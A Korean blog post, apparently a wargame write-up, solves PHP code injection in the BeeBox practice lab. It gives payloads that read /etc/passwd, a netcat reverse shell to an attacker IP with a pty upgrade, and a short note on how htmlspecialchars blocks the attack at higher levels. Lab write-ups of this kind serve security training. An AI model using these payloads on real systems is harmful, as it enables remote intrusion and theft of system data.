Wargame/BeeBox

Beebox[PHP Code Injection]

D4tai1 2021. 3. 30.

PHP Code Injection : PHP 코드를 삽입해서 서버에서 실행되도록 하고 내부정보 유출 및 악의적인 행위를 수행


 1. LOW 

(1) 입력

[그림1] message 파라미터 입력

URL 뒤에

?message=0;system('cat /etc/passwd'); 

내용을 추가해주면 

0과 passwd 내용을 출력해주네요!

 

기왕이면 shell을 사용하기위해 

이전에 배운 OS Command Injection에서 썼던

nc를 실행시켜보겠습니다.

 

nc -l -p 7942

▶ 내 PC에서 위와 같이 입력해주세요

넷캣의 -l은 리스닝모드이고, -p 다음에는 오픈할 포트를 적어주세요

 

 

[그림2] 내 PC에서 7942포트열고 대기중

  보통 칼리를 많이 쓰지만 저는 우분투를 사용했어요

서버에서는 내 PC의 IP를 입력해서 접속하려고 합니다.


(2) 공격

[그림3] PHP Code Injection

URL 뒤에

?message=A;system('nc 172.17.234.104 7942 -e /bin/bash');

내용만 추가했습니다!

 

-e /bin/bash 옵션은 shell을 이용해서 상호작용할 수 있도록 하기위해서지요

-e는 exec의 약자로 뒤에 넣은 것을 실행합니다!!

 

[그림4] 명령어 실행

서버에서 내 PC로 연결을 한 후 내 PC에서 명령어를 실행한 결과에요

python -c 'import pty; pty.spawn("/bin/bash")'

위와 같이 입력하면 

pty라이브러리에서 제공해주는 

interactive한? 상호작용이 가능한? 터미널을 제공해줍니다

vi에디터도 사용이 가능하구요

 

명령어가 정상적으로 실행되고 결과도 얻을 수 있네요!!

 

 

 

2. Medium & High 

(1) 소스코드 확인

Low와 동일하게 입력해보았지만 실행이 되지 않네요

 

[그림5] 소스코드 확인

htmlspecialchars함수는

", ', &, <, >을 UTF-8로 변환해요.

 

ENT_QUOTES는 XSS에 사용되는 특수문자를 

HTML엔티티(&lt; &gt; 등)로 변환해줍니다



 

'Wargame > BeeBox' 카테고리의 다른 글

Beebox[SQL Injection (GET/Search)]  (0) 2021.03.30
Beebox[Server-Side Includes (SSI) Injection]  (0) 2021.03.30
Beebox[OS Command Injection - Blind]  (0) 2021.03.30
Beebox[OS Command Injection]  (0) 2021.03.29
Beebox[iFrame Injection]  (0) 2021.03.29

댓글